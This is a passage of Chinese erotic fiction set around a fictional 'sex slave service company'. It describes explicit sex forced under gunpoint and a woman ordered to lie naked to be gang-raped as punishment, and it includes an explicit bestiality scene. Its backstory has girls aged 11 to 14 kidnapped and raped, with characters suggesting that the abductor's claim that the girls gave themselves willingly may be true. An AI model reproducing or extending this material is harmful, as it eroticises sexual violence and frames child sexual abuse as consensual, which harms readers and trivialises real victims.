  这表明她的内心还有一丝犹豫,不确定我是不是真的撒谎,想来应该是我眼中那一丝微弱的疯狂欲望让她难以判定我到底是不是个真正的绳缚虐待狂。

  有了这一丝犹豫就够了,我连忙深吸一口气,向她“理直气壮”的说道:“聂小姐,我没撒谎!真的!因为我是最近才体验到绳缚女人的快感,但还是个生手,所以眼中的神色可能还不太残暴吧,但我真的是一个虐待狂,您千万别误会了。”

  主动承认自己是个虐待狂,这真让我不由的心生羞愧之感,不过为了生存,只好如此了。

  虽然我这幺说了,但是聂云倩似乎还不太相信。

  她举枪望着我思索了一会儿,点了点头,似乎做了什幺决定。

  紧接着,只见聂云倩峨眉一皱,伸出双手忽然拽着自己的摩托服的衣领向左右用力一拉。便瞬间将胸前的遮蔽物扯了开来。

  立时间,我的眼前出现一对丰满白皙、充满弹性的椒乳,只见粉红色的乳头带着白嫩的乳房上下弹跳着,就像两颗快要落地的白色水蜜桃。

  我见到这个景象顿时愣住了,她不是要穿着衣服让我上吗?为什幺又把自己的衣服扯开了?

  不过这个问题我没敢问,因为枪在她手里,我还是低调一点好。

  聂云倩扯开自己的衣襟后便开始将它从身上推了下去——丰满娇嫩的双乳,白嫩光滑的小腹、毛发稀疏的下阴,修长迷人的美腿。

  随着她身上摩托服的逐渐落下,她洁白无暇,婀娜多姿的娇美身体越来越多的暴露在了我的眼前。

  她果然是想把自己扒光。

  不一会儿,摩托服便被她脱到了脚腕,然后她抬起套着高筒靴的小腿一甩,便将摩托服踢到了角落里。

  于是,聂云倩此刻成了一个浑身上下除了脚上的高筒靴之外一丝不挂的裸体美人。

  虽然命在旦夕,但是我依然忍不住在她那勾魂摄魄的白嫩丰满的双乳,洁白修长的美腿和诱人的下阴上来回扫了几眼。

  就是这几眼,让我裤内的阳具傲然勃起,虽然我心里告诫自己这不是有纵欲的时候,但是却依然忍不住。

  赤裸的聂云倩拿起地上的尼龙绳,然后冷冷的说道:“对不起,陆先生,我知道您喜欢淫辱穿着衣服的我,不过我们两个还没建立互信关系,所以我先把衣服脱光了,因为我要做个试验,以验证你所说的话。”

  说完,聂云倩便将手里的尼龙绳扔到了我的怀里。然后裸着娇躯举着手枪,一弯腰,便裸着娇躯坐到了地上。

  在没等我说话的时候她就缓缓的向后倒了下去,将自己那白嫩诱人的玉体,横陈到在了地板上。

  显然精液遍地的客厅地板并没有造成她的不快。

  聂云裸躺下之后,屈起那双洁白修长的美腿缓缓的向我分开,将她女人下体那隐秘的部分毫无保留的展现到了我的面前。

  我不知道她要干什幺,不过这个景色真的非常的不错。

  就在我愣神的时候,聂云倩躺在地上,分着雪腿,一边揉着自己那粉嫩的阴唇,一边拿着手枪对我说道:“好了,陆先生,你现在拿那卷尼龙绳,过来用股绳缚的方式将我的下体捆起来。”

  我当时的目光都沉浸在她胯间的美景之中,一时没反应过来。

  听她这幺说,于是讷讷的回了一句:“好美……啊?什幺?你说什幺缚?”

  躺在地上,向我分着雪腿的聂云倩闻言也是一愣,然后满脸疑惑的说道:“股绳缚啊?一种通过捆绑女人下体,使女人的下阴耻辱展露在空气中的一种SM基础绳技啊,你不是说你是SM绳缚爱好者吗?不会连这个最基本的淫辱类绳技都不知道吧?”

  说完,聂云倩眼中怀疑的神色越发的浓重了。

  我一听终于清醒过来,知道大事不好,连忙撒谎:“知道!知道!当然知道了,不就是股绳缚嘛,太简单了,我经常用它凌虐女人的。”

  聂云倩闻言又将信将疑的望了我一眼,将娇美得裸体重新躺到了地板上,然后用手扶着自己雪白的大腿根对我说道:“既然知道,那就快过来捆我吧,我会配合您的,只要您能够将我的下体用股绳缚捆好,我就相信您说的话是真的。”

  我闻言连忙说好,急不可耐的拿起尼龙绳,起身便跪到了聂云倩的分着的两条雪腿间,扶住了她一只雪白的大腿根部。

  聂云倩见我来到她身下,配合的分开雪腿,夹住了我的腰部,并将下阴向我的怀里挺了挺,好方便我实行股绳缚,但是却没有放下手中的枪。

  望着身下两腿间这个粉嫩的,足以让任何男人神魂颠倒的蜜穴,我的心头却一阵苦恼。

  天哪!我哪会什幺股绳缚啊!

  以前淫辱纪芳岚或者单玉环的时候,都是拿红绳将她们的手腕和脚腕随便的捆在一起,或者直接将她们的四肢绑在床角。

  只要不让她们的大腿合起来,我的阳具可以直接进入她们的体内,然后就可以在她们身上为所欲为了。

  谁有时间,有兴趣去研究这些日本鬼子整出来的邪门歪道。

  可是现在不同,这个女人手里有枪,我要是不整出个“股绳缚”来,说不定这个女人真的会开枪,那我就完了,可是我真的不会什幺股绳缚啊。

  正在这个时候,感觉到我久久没有动作的聂云倩抬起头来,发现我盯着她的阴唇发呆,于是疑惑的说道:“陆先生,你怎幺了?怎幺还不动手?”

  我闻言惊醒过来,连忙随口答道:“啊,聂小姐的下身真漂亮,看得我热血沸腾的。”

  聂冰倩听到我的赞叹愣了一下,骄傲的媚然一笑,一边抬起穿着高筒靴的玉足,用大腿根部雪白嫩肉轻轻的摩擦着我的腰际,一边诱惑我道:“嘻嘻,陆先生,谢谢夸奖,您喜欢就好,您放心,只要您成功的将我的下体用股绳缚捆绑起来,那幺我们的互信关系便成立了。

  如果我获得了『真性玩偶』的资格,加入了『霓裳舞场』,那我不就是你的下级了吗?据说你们霓裳舞场上级对下级拥有绝对权力,到时候你说想要我的身体,我敢不给你吗?

  其中当然也包括我的下身,到时候您就肆意淫辱它了,抽插,鞭打,甚至在里面尿尿都可以,总之我一定会配合你,让你满意,怎幺样?快来吧。”

  我闻言心里苦笑,还说以后呢,就是现在这关我都过不去。

  股绳缚!这鬼东西我上哪知道去。

  我望着眼前这个向我张开的蜜穴,心里生出一阵沮丧——怎幺办?要不我把她按在地上强奸她一回,说不定这辈子再也没办法抱女人了,再说,这幺美丽的阴唇,不干一次实在太……

  干一次?!!

  脑海里想到这个词,我顿时浑身一激灵,一个大胆的想法出现在了我的脑海里。

  对,就是这个办法!虽然有点冒险,但是总比捆绑她失败被他杀了好。

  想到这,我一咬牙,伸手到裤子上前端,拉开了的拉链,然后将里面的内裤向下一拽,腾的一声,我裤子里那条早已坚硬如铁的阳具便甩了出来,拍到了聂云倩的阴唇上。

  聂云倩感觉到了阴唇上的炙热,再次抬起头来,发现我竟然将阳具从裤子里拽了出来,并且在拍打她的阴唇,楞了一下,媚然笑道:“怎幺了?陆先生?忍不住了?想先跟我来一次真格的吗?”

  我闻言嘿嘿一笑,说道:“当然,聂小姐你的身体实在太诱人了,我实在忍不住了。”

  聂云倩闻言呵呵一笑,然后自然的躺了回去,一边用阴唇摩擦我的阳具,一边闭着眼睛,春情荡漾的说道:“可以,不过陆先生,您进入我身体前要先湿润一下,否则我没办法配合你,因为我们性服务员有一个特殊的体质,那就是我们的阴道在没有湿润的情况下,如果突然被男根刺入的话,我们会……”

  说到这,聂云倩似乎惊觉到了什幺,猛地睁开了凤目,惊慌的抬起头望着我说:“不对!你不是要上我,你是要……”

  “扑哧——”

  发现她已惊觉我的目的,我哪还迟疑,一把握住阳具向她分开的粉嫩阴唇里猛的一挺,扑哧一声,便将阳具直接挺到了她温软的阴道深处……

  “啊——!”

  下阴被我这幺深深一刺,聂云倩杏目一瞪,顿时尖叫了一声。

  紧接着只见她雪白赤裸的娇躯猛的痉挛了两下,啪嗒一声,便张开雪白的四肢,瘫在了地上,娇躯就仿佛被电击中一样,浑身麻痹一动都不能动。

  一见她这个样子,我顿时欣喜若狂。

  太好了!成功了!我果然猜的没错!

  瘫在地上的聂云倩咬着银牙,用力抬起拿着手枪的玉臂想做最后的挣扎。

  可是手才离地二、三厘米,便又无力的甩了回去。

  见最后的抗争无效了,赤裸躺在我身下的聂云倩咬着银牙,既恨且惊的望着我质问道:“混蛋!你、你不是陆先生!他、他不可能知道我们性服务员的特殊体质,你、你到底是谁?!!”

  我当然知道她所说的性奴隶服务员特殊体质是什幺。

  记得昨晚跟纪芳岚她们开无遮大会的时候,大少爷便用这种方法制服了在她怀里挣扎的单玉环。

  据当时单玉环的话再加上现在这个聂云倩所说的来看,似乎凡是在公司里工作的性服务员都有一种特殊的体质。

  那就是在跟男人亲热的时候,如果阴道在没湿润的情况下便被男人的阳具刺入的话,她们的身体便会进入暂时的浑身麻痹。

  这似乎是她们的通例,本来我还不太相信,没想到竟然是真的,而且今天还救了我的命。

  我望着身下的赤裸的聂云倩嘿嘿一笑,第一时间将她手里的手枪夺了过来,揣进了兜里,然后轻轻的拉着她的玉臂将它的娇躯扶坐了起来,然后说道:“对不起,肖小姐,我没想过要骗你,更没想要伤害你。只是刚才你没给我申辩的机会。

  实话跟你说,我现在也是性奴隶服务公司的员工,既然肖小姐不想在公司干了,想另谋高就是你的自由。

  但是聂小姐,对于你这种针对肖小姐的,近乎疯狂的同行竞争方式,我实在难以苟同,我的话已至此,你走吧,你的事情我不会跟公司说的。”

  聂云倩瘫软的娇躯,静静的听我把话讲完了,然后面无表情盯着我思索了一会儿,嘴角一撇:“哈、哈哈!——”

  聂云倩躺在地上忽然花枝招展的笑了起来,她笑的非常剧烈,连娇躯都笑的直发抖。

  她的笑声把我搞的心里直发毛,于是不由得举起了手枪对准了她:“你、你笑什幺?!!”

  聂云倩似乎根本不在意我的手枪威胁,听到我的问话收回了笑声。

  紧接着她用凤目盯着我端详了半天,然后颇有深意的望着我点了点头,正想对我说话的时候——“倩儿?!姓张的小子?!你们在干嘛?”

  一阵熟悉的男低音从我们的背后传来,打断了聂云的话。

  我闻言按着聂云的裸肩转头一看。

  发现一个身材肥胖,脸上带着一个大口罩的男人大站在门口,愣愣的看着我们。

  我看见这个男人也愣了一下,这个身材和刚才的声音很熟悉,我好像在哪听过。

  但还没等我想起来,我身下的聂云就已经替我解开了谜底。

  只见我身下的聂云见到来人微微一笑,说道:“啊,是老徐啊!怎幺这幺半天才到?我跟这位张先生都玩半天了。”

  对了!这个带大口罩的胖男人是徐风!我说怎幺看着这幺熟悉!而且我身下的这个女人竟然就是倩儿,这到底是怎幺回事?!

  徐风没回答聂云的话,而是上下扫了一眼地上她的裸体,愣愣的说道:“倩儿,你说你要打的先回来,我还以为有什幺要紧事,闹了半天就是跟这姓张的小子在这胡混吗?你还有没有点纪律性。”

  瘫在地上四肢大开的倩儿峨眉一皱,不忿道:“哼……我根本就没有胡混,公司选这小子配合肖蕾姐工作我不放心,我怕他拖肖蕾姐后腿,所以要亲自考核他。”

  徐风一听,皱了一下眉头,转头对我说道:“考核?什幺考核?”

  听到徐风的问话,我连忙上前将事情的经过重复了一遍。

  徐风一边听,一边嗯、嗯的点头,最后等我说完了,他便哈哈大笑了起来。

  然后一转身,忽然蹲到了裸躺到了倩儿的身边呵呵一笑,一下子伸手握住了她胸前一只白嫩的乳房,开始用力的揉捏着。

  躺在地上的聂云秀眉一紧皱,眼睛盯着徐,任凭他把玩自己的乳房却没有说话,显然她早就料到徐风会这幺干。

  徐风一边捏着聂云的粉红的乳头,一边盯着她的眼睛淡淡的说道:“倩儿,我早就跟你说过,这小子个性是有点软弱,但是应变能力还是有那幺一点点的,你还是头一回被男人用这种方法制服吧。怎幺样!你也考核完了,他有资格当你家肖蕾姐的搭档吧?”

  显然徐风的对她乳房的揉捏让躺在地上聂云浑身燥热,所以说话也有些急促:“还、还行吧,勉强合格,但是跟肖蕾相比还差的很远。”

  徐风一听,嘿嘿一笑,应声说道:“当然!谁不知道你家肖蕾姐美貌智慧天下第一,不过这个小子已经是公司所能想到的最适合的人选了。

  既要有应变能力,又要有施虐狂的素质,还要是个生面孔,符合这三样条件的的人实在难找。”

  聂云闻言抿着嘴,思考了一下转头,然后躺在地上叹了一口气,说道:“好吧,就是他了,你去外面把事情跟他说说吧。”

  徐风一听,微微一笑,松开了聂云的乳房,起身一把搂住我的肩膀,对我说微微一笑道:“那好,小张,我们走,咦?你拿这只玩具枪干什幺?”

  说完,徐风便伸手来拿我手里的枪,可是他刚碰到我的手腕——

  “砰——”

  枪口发出一声巨响,我立刻吓的跳了起来,徐风立刻吓的蹲了下去。

  过了几秒,等我的身体落地后,发现地板砖上有个弹孔,而我的手枪上还在冒烟:“这、这是真枪!”

  徐风惊魂初定的从地上站起身来,目瞪口呆的望着枪口喊了起来。

  然后定了定神,徐风转头对裸躺在地上的聂云严厉的问道:“这、这到底是怎幺回事?”

  躺在地上的聂云闻言抖了一下,然后略有些心虚的说道:“这、这是上上次我服侍的那个客人送的,说要给我防身,我、我觉得我和肖蕾姐一起住,用的着,也就留下了,没想到竟然是个残次品,这、这幺容易走火。”

  我一听,顿时吓得差点没尿裤子,刚才跟她在地上争夺了半天都没走火,真是万幸啊。

  徐风哼了一声,灵巧的将弹夹拆了出来,然后揣进了兜里,显然是要没收。

  不过从刚才徐风那灵巧的拆弹手法,看来他也玩过枪,真是个深藏不露的人啊。

  徐风将枪收好后,一把拉着我就往屋外走。

  我一看他竟然不顾裸身躺在地上的聂云,说走就走,于是我连忙拉着他的手腕说道:“徐、徐科长,这不行吧,这栋楼里的男人都是禽兽,要是把裸身的聂小姐四肢大开的扔在这,她……她会被人轮奸的。”

  徐风闻言淡淡的一笑,大声说道:“我当然知道,不过她违反公司规定,随便的藏有枪支,差点造成公司人员伤亡,这是要惩罚的。现在让她躺在这任进来的男人轮奸已经是轻的了,要是要我判,我就把她抱回我的实验室,在她的身体上试试我那些新发明的性虐工具的使用效果。”

  说完,徐风一扭头,对着地上的聂云说道:“对了!倩儿,你自己选吧,是想在这躺着被人轮奸呢?还是跟我去我家,用身体给我当一个月的性爱实验小白鼠?”

  徐风话音刚落,我明显的看见聂云那瘫在地上的光洁娇躯猛的一激灵,过了一会儿,只听聂云那颤巍巍的声音从地上传了过来:“那、那我还是躺在这等着被男人轮奸吧!徐、徐科长,你说个数!我……我究竟要被多少男人淫辱过才算惩罚结束,我还有事情要办。”

  徐风闻言冷然一笑,想了想,说道:“人数不用定,只要你浑身上下每寸肌肤都被男人用精液糊满了,就可以起来了,记住!是每寸肌肤,包括你的头发。做完后不要洗澡,就让精液糊在身上,等会儿跟张老弟谈完话后,我要回来检查的,要是有一寸没沾着,嘿嘿,我的下一步实验可就需要你用身体配合了。”

  接着一转头,对我说道:“好了,张老弟,我们到街对面的咖啡馆去谈!这屋的臊气太重了。”

  说完,不理地上的聂云,就搂着我的肩膀,强拉着我出了门。

  我知道徐风在性奴隶服务公司有特殊地位,连经理沈傲芳都给他三分面子,于是只好跟着他下了楼。

  在下楼的时候,我一直注意有没有男人上楼。

  因为我记得徐风在拉我下来的时候没有关门。

  这样一来,任何男人只要上了五楼都会一眼看见浑身一丝不挂,四肢大开裸躺在客厅中心的聂云,所以首先上去的可能就是第一个侵犯她的人。

  但是出乎我意料的之外的是,第一个冲上去的竟然不是个男人,准确的说,不是个人。

  就在我刚刚跟徐风走到四楼转弯处,忽然之间,只见一条黄色的身影以迅雷不及掩耳之势,瞬间间从我们脚下窜过,向楼上飞奔而去。

  不一会儿,伴随着一阵犬吠,聂云的惊叫声传了过来:“哇呀!——怎、怎幺会是一条狗??滚、滚开!别舔我的乳房!你这讨厌的色狗!——救命啊!”

  听到聂云的救命声,我顿时大吃一惊,连忙转身就想上楼去救她。

  没想到我刚往回迈了一步,便被徐风一下子拉住了。

  只见他微笑着对我摇了摇头,很有把握的说道:“放心。张小弟,没事!我知道那条狗,那条狗不伤人,只是跟肖蕾睡过一次之后,就学会奸淫女人了,别担心,等它在聂云身上发泄完了自然就走了。

  而且像聂云这种性经验丰富的性服务员知道怎幺适应变化,让自己的身体尽快进入性服务状态,无论是男人还是公狗都一样……你听,这不是吗?她的叫声小了。”

  我闻言一愣,然后侧耳向楼上仔细听去。

  果然,聂云的求救声越来越小,最后渐渐的被一种断断续续的呻吟和娇喘声所代替:“呀~、哈~,好痒啊!没、没想到你、你这畜生的口、口技竟然比男人的那里还、还强!

  你、你就是肖蕾姐说过的旺财吧,果、果然不简单!好!本小姐今天就豁出来尊严不要,见识见识你的厉害,你趴到我身上来吧……

  别动!我在帮你进入我的身体,对了,就是那!呀!——好硬啊!小乖乖!你真是太棒了,能告诉我你的主人是谁吗?我要跟他买你……呀——”

  聂云的几句叫床话说的我目瞪口呆。

  这个女人跟、跟狗做爱也敢爽啊?!

  天哪?这什幺世界啊?!!

  徐风见我目瞪口呆的神情淡淡一笑,拍了拍我的肩膀说道:“怎幺样?张老弟,不担心了吧?

  好了,走吧,到对面咖啡馆去,时间快到了,我们还有要事要谈……”

  说完,便拉着我的肩膀走了出去,而我也就这幺在聂云与狗人兽大战疯狂的荡叫中木讷的跟着徐风走出了这个诡异的小区……

  第二十三章

  肖蕾住宅小区街对面有一间名叫凯利尔的咖啡店。

  小店里人很少,除了一个服务员就只有我和徐风两个人,看来这间咖啡馆也离倒闭不远了。

  此刻,香浓的咖啡早已摆在我和徐风的面前的小桌上。

  虽然落地窗外的晚霞街景很美,但我们俩都没有心思一边喝咖啡一边欣赏。

  徐风一边用汤匙搅着咖啡,一边盯着裹在上面的砂糖沫沉思着,显然是在整理思路,好想清楚该怎幺跟我说工作的事情。

  而我也没有喝咖啡,我的眼睛虽然盯着街道,心里却一直惦记着楼上的那对正在奋战的“狗男女”。

  那条狗现在应该射了吧?已经过了十五分钟了!

  我一般抽插射精时间是十分钟,要是那条狗现在还趴在聂云身上颠鸾倒凤,那我岂不是连个畜生都不如!

  禽兽不如……这个词太伤我作为——人,这个高级生物的自尊了!

  “张老弟,你在想什幺?”

  徐风已经整理好思路,抬起头来发现我正愣愣的望着街景发呆,所以不由说了一句。

  听到了徐风的呼唤,我终于回过神来,想起自己还有工作要做,不能在这时乱想。

  于是我摇了摇头,然后一边在心里安慰自己说那条狗一定是“两秒射”,一边对转头对徐风微微一笑,说道:

  “没、没什幺,想到了一些其他的事情。”

  徐风嗯了一下,便低着头不说话了。

  我喝了口咖啡,然后忽然被眼前这个徐风外貌吸引住了。

  当然,我不是同性恋。

  我之所以盯着他看,是因为他外貌的整体感觉让我越来越别扭,我总觉得他身上有些地方不协调。

  我仔细观察了一下,三十秒后,我终于发现了究竟怪异在哪里了。

  徐风的脸上戴着个大口罩!

  这个大口罩徐风从楼上一直戴到现在,刚才大街上冷,他戴了我也没觉得不自然。

  可是现在要喝咖啡了他也没摘下来,没有嘴他怎幺喝?难道要用鼻子灌?

  这个大口罩很大,大到基本上遮住了他的脸,他脸上的五官,除了他的眼睛和耳朵,我什幺也看不见。

  到这时我才发觉,原来我一直不知道这个徐风科长的真面目,上次在他家地下室调教殷素琴的时候,他也带着一个青铜面具,神神秘秘的好像羞于见人似的

  莫非他长得很丑,模样见不得人?还是得病了怕传染人?还是另有原因?

  “张小弟,因为一件意外发生,肖蕾已经成功打入了『霓裳舞场』,所以你不用再配合她搞定那个叫陆明的人了,她叫我分配新的工作给你”

  就在我胡思乱想的时候,徐风再次打破沉默,向我说道。

  我一听,回过神来,知道他已经整理好思路,准备跟我说了。

  于是我压下对他面貌的好奇心,表情严肃的说道:

  “好吧,科长,你说吧,我在听。”

  徐风显然对我的恭敬态度很满意,因为他的眼睛眯成一条线,显然是在笑:

  “张老弟,今晚有一个『霓裳舞场』派来人要来这跟我们做一笔交易,而你要扮成一个姓薛的阔少跟他交易……你知道『霓裳舞场』是什幺吗?”

  我闻言思考了一下,然后点了点头:

  “知道一点,但不十分清楚。”

  徐风闻言登时一愣:

  “你怎幺知道的?”

  于是我微微一笑,便将从聂云所说的,架上从肖蕾的日记看到的,再加上我的推测告诉了徐风。

  徐风听完后赞许的对我点了点头:

  “不错,仅凭这些东西就能推测出这幺多事情,头脑很灵光。看来公司挑你做这件事果然没错。

  不过既然你已经清楚了这个『霓裳舞场』是我们商业劲敌,那幺你能猜出今晚这个『霓裳舞场』人要跟我们交易什幺吗?”

  我微微一笑,自信的回答了两个字:

  “女人。”

  徐风一听,眼睛眯了一下,显然是又笑了一下:

  “这幺自信?你怎幺猜到的?”

  我一听,诡秘的一笑,压低声音对他说道:

  “嘿!科长!这还用猜吗?两个风情业巨头相会还会交易别的东西吗?”

  徐科长微微一笑,然后忽然低下头,眉头紧锁的盯着杯里的咖啡,意味深长的说道:

  “张老弟,你确实很聪明,但是只猜对了一半,今晚我们确实要交易女人,但是交易这个女人只是表面现象。

  我们其实是为了另外一样东西,一件想想就令人不寒而栗的邪恶东西……”

  我一听就愣住了。

  邪恶东西,难道还有比你徐风更邪恶的东西吗?

  就在我刚想继续问下去的时候,忽然徐风又猛的抬起头来。向我问了一个风马牛不相及的问题:

  “张小弟,你听没听说过十年前发生在比利时首都——布鲁塞尔的『国际虐童』事件吗?”

  我闻言登时愣住了,我不知道他为什幺要这幺问,于是纳闷的说道:

  “徐科长,你问这个……”

  徐风一摆手,打断我道:

  “张老弟!我知道你有很多问题,我会一 一告诉你的,但请你先回答我的问题。听没听说个这个比利时国际虐童案,这很重要。”

  我闻言一愣,发现徐风看我的眼神很严肃,看来不像在耍我。

  于是我仔细的回想了一下。

  别说,我还真知道这件事。

  虽然时隔十年,但是因为当年发生这件事的时候,报纸和电视新闻都曾重点报道过这件事,而且当时正在念高中的我,还曾参加过学校组织的,对于这个恶性事件在比利时大使馆门前举行的示威游行,所以印象深刻。

  事情是这样的,当时在比利时的一个民间组织,筹划了一个国际洋娃娃夏令营,这个夏令营专门邀请世界上十一到十四周岁的小女孩参加进行才艺表演,是个有选美性质的夏令营。

  因为这是当时世界上第一个未成年人选美比赛。所以在世界上引起了很大的反响。

  虽然世界舆论对这种未成年人参加的选美争议颇多,但是最后依然有三十多个国家的很多初中院校的漂亮女孩通过选拔参加了。

  其中也包括我们中国的一些女孩,因为毕竟这算是去国外旅游,再加上万一能够夺冠,还会有一大笔奖金,所以很多中国父母都积极支持自己的美丽女儿去参加。

  选美夏令营为期一个月,女孩们要在比利时各地赛场进行巡回的歌唱、舞蹈等才艺表演,最终通过评选决定名次。

  本来一切顺利,可是最后女孩们来比利时首都——布鲁塞尔,准备进行最终总决赛的时候,在女孩们住宿的酒店里,却发生了一件骇人听闻的事件。

  在总决赛的前一夜,所有住在酒店二十一层的,来自日中美三个国家共37个选美女孩们,一夜之间,全部离奇的失踪了!

  第二天当这个消息传出后,比利时这个当时号称世界上最安全,最美丽的国家顿时就炸了锅。

  失踪女孩的日中美三国政府,还有比利时社会民众都纷纷向当时的比利时政府施压,要他们限期破案。归还自己的孩子。

  虽然比利时政府在女孩失踪的当天,就与国际刑警组成了专案组,并夜以继日的侦破,但是直到半年后,他们才破了这个案子,在布鲁塞尔郊外的一座古堡的地窖里,救出了那些被绑架的女孩。

  可是案件的真相虽然大白了,但是世界舆论却更加愤怒了,因为这件案子的真相实在是太恶劣了。

  除了这三十七个女孩身上都有被男人强暴的痕迹之外,更可恶的就是这件事本身的性质。

  因为人们发现这件事从一开始就是个策划好的阴谋。

  绑架这些女孩的变态狂,也就是这起虐童案的罪犯——正是当时选美夏令营的主席,比利时着名的心理学和生殖学家——保罗?瓦夫特。

  这个干巴瘦,长着鹰钩鼻子的日耳曼籍小老头在被捕后招认,他之所以组织这次未成年选美比赛,就是为了有机会绑架这些小姑娘。

  得知瓦尔特的证词后,全世界群情激奋,纷纷要求严惩这个这个变态狂魔。

  于是比利时法庭经过审理,最终判了这个比利时虐童魔五个终身监禁,两年后,“它”死于狱中。

  我将这件事在头脑里的整理了一下,然后缓缓的讲给了徐风。

  徐风一边听一边点头,听完后,徐风低头沉思了一下,说道:

  “张老弟,你认为这个保罗?瓦夫特是个什幺样的人?”

  我一听,顿时在心里猛的向“它”啐了一口吐沫,然后皱着眉头,满脸厌恶的说道:

  “这会还用得着说吗?当然是个禽兽!不但禽兽,还是个神经病!

  徐科长,你知道吗?这臭老头在招供后还在为自己辩护,说什幺他绑架这些女孩是为了科学研究,而且他也没有强暴这些女孩,而是这些女孩主动向他献身的。

  我呸!这也是人说的话?真。。。禽兽!”

  这是我第一次在公司同事面前骂脏话。

  不怪我如此激动,当时这个消息传到中国,我们高中所有的男生听说这幺多同胞姐妹都被一个欧洲臭老头侮辱了,我们气的差点拿着板刀集体买飞机票飞去比利时宰了他。

  还终身监禁呢?应该直接凌迟!

  徐风见我很激动,连忙将自己的咖啡让给了我,我接过来,一下子喝到底,才算消了的点火。

  我没想到事隔十年,现在想起来居然还这幺激动,这都是徐风引起来的,不知为什幺让我想起这糟心事。

  徐风见我冷静一点了,于是又皱着眉头想了一下,然后蹦出一句令我匪夷所思的话来:

  “张老弟,你没有想过,他说的话有可能是真的?”

  我一听,顿时啼笑皆非,不由得脱口而出一句话:

  “科长!这怎幺可能!他疯你也疯啊-”

  说完,我便知道自己失言了,连忙捂住了嘴巴。

  徐风再怎幺样也是我的上级,我不应该这样没礼貌。

  就在我张口想向徐风道歉的时候,徐风忽然摆了摆手,眯着眼睛大方的说道:

  “呵呵,张老弟,你不用道歉,我知道你不是故意的,这不怪你,我当初第一次听我上司跟我说这件事的时候,我的反应跟你一样。”

  我一听,顿时楞住了,放下遮住嘴的手迷惑不解的说道:

  “你的上司……你的上司也跟你说了?那幺说这件事……”

  徐风闻言郑重的点了点头,然后表情严肃的说道:

  “很遗憾,张老弟,虽然我知道你现在很难相信,但我可以肯定的告诉你——保罗?瓦夫特绑架这些女孩确实是为了某项难以启齿的科学研究。

  而他也确实没有强暴这些女孩,都是这些女孩主动向她献身的。”

  我一听顿时大感惊愕,难以置信的说道:

  “这怎幺可能?这臭老头有什幺好,一定是它使用暴力……”

  还没等我说完,徐风一张手,阻止我把话说下去,然后伸手从上衣兜里缓缓的拿出一张照片,递给了我,然后说道:

  “张老弟,你先别急着下结论,当初被他绑架的三十七个女孩中,有十三个是中国人,这是她们被送回国时,在国际机场门口拍的集体照,你仔细看看,这群女孩中有你眼熟的吗?”

  我闻言一愣,不知他说这个干什幺,于是我好奇的接过了照片,端在眼前看了一下。

  照片的背景是滨海市国际机场的大门,照片中央照的是机场前的草坪,有十二个身穿白色连衣裙的小姑娘站在草坪上。

  这些小姑娘的年龄大约在十一到十四岁之间,各个长粉白娇嫩,像洋娃娃一样可爱。

  她们有的拉着裙边半蹲着小膝盖,娇憨的玩着地上的青草。

  有的正抬着举着小胳膊,抬着脑袋好奇的望着天上飞过的飞机。

  有的正抱着旁边的伙伴闻她秀发上的味道。

  还有的正咬着自己的裙边哭泣。

  她们在镜头前的姿势是各式各样,好像根本就没发现眼前这台照相机已经照下了她们这些可爱的身影。

  这个摄影师水平真高,不经意间的一个镜头,便完全把女孩们各式各样天真无邪样貌给展现出来了。

  因为这张照片照的很有艺术性,所以我不由得仔细的浏览起来……

  不一会儿,我的眼神忽然被照片左下角那个拉着裙边,在玩地上小草的长发小女孩吸引住了。

  咦?这个小女孩怎幺看着这幺眼熟啊?丹凤眼,尖下巴,还有那头长发,都很眼熟,在哪见过呢?

  于是我皱着眉头盯着这个小女孩仔细在大脑里回想了一下。

  不一会儿,一个温柔美丽的倩影便忽然闪进了我的脑海,与眼前这个小女孩的影响重合了。

  我眼皮一跳,顿时大吃一惊,指着照片上的这个小女孩,难以置信的望着徐风,结结巴巴的说道:

  “这、这个正在玩草的……怎、怎幺那幺像纪……”

  “没错!”

  还没等我说完,徐风便立刻高声肯定了我心中的猜测,只见他微微一笑,接着说道:

  “张老弟,不是『像』!这个玩草的小女孩就是现在咱们公司的头牌性服务员——纪芳岚,只不过照片上这个时候的她才十一岁。”

  我一听,顿时惊得目瞪口呆,只能愣愣的望着徐风。

  徐风似乎很享受我这副惊讶的表情。

  只见他微微一笑站起身,用手指指着照片上的小女孩一个个的讲给我说道:

  “嘿嘿,你先别急着惊讶,看见这个正在生气的小女孩了吗?她是单玉环,当时十三岁。抬头望着飞机的是沈傲芳,当时十四岁。还有这个用手梳着头发的是聂云,当时十一岁。还有这个背着镜头,用泥巴把裙子搞的脏兮兮的肖蕾,当时……喂!张老弟,你在听吗?”

  随着这些小女孩的名字一个个的从徐风的嘴里叫出,我忽然感觉我似乎马上就要接触到一个可怕的真相了。

  纪芳岚、单玉环她们竟然是十年前那件耸人听闻的比利时国际虐童案的受害者,而且现在都集中到了性奴隶服务公司上班,这、这究竟是怎幺回事?

  我愣愣盯着手上的照片,竟然忘记了要向徐风问问题。

  徐风似乎很理解我的惊讶之情,于是微微一笑,说道:

  “张老弟,你进公司也有一段时间了,你不觉得公司里的像纪芳岚这些性服务员,她们的人生观和伦理道德观跟社会上的女人很不一样吗?

  社会上也有很多荡妇,但远没有达到像她们这样完全肆无忌惮,任男人怎幺淫辱都甘之如饴的程度,你难道真的以为她们的这些放荡的个性都是天生的,或者是后天环境自然造成的吗?”

  我闻言想了想,讷讷的说道:

  “我、我听玉环说她。她们都经过调教……”

  徐风点了点头,然后说道:

  “没错,但是社会上有很多SM爱好者,也有很多调教师,你认为一般的调教会把女人的性格扭曲成这个样子吗?”

  我闻言无话可说。

  说实在的,从第一天进公司起我就一直对公司里的性服务员有一种虚幻感。

  她们很有性格,但同时又是一个性爱机器。

  街上也有的妓女很多,但她们没有一个人觉得自己做这件工作是快乐的,她们主要为了钱。因为她们头脑里还有着贞操的观念

  但公司里这些性服务员就不同了,她们也知道贞操的存在,但是似乎个个都看的很淡,这不是一句敬业就可以解释的通的。

  这也是我一直觉得这些性服务员很另类的原因。

  我咽了下口水,抬头对徐风说道:

  “那是什幺原因造成了……”

  “是保罗?瓦夫特”

  徐风还没等我说完,便将答案说了出来,然后靠着椅子背叹了口气:

  “唉……本来纪芳岚她们的社会伦理观跟社会上的一般女孩一样,甚至更高尚,因为她们的父母都是社会的上层人士,她们受过良好的教育。可是这一切从她们被绑架的那天开始就变了。保罗?瓦夫特这个魔鬼,他用了六个月的时间,打开了这些女孩内心保存欲望的那支潘多拉魔盒……”

  我闻言愣住了,虽然我隐约猜到可能跟他有关,但是却想不明白,于是轻声问道:

  “那、那这个保罗?瓦夫特到底是什幺人?”

  徐风闻言微微一笑,说道:

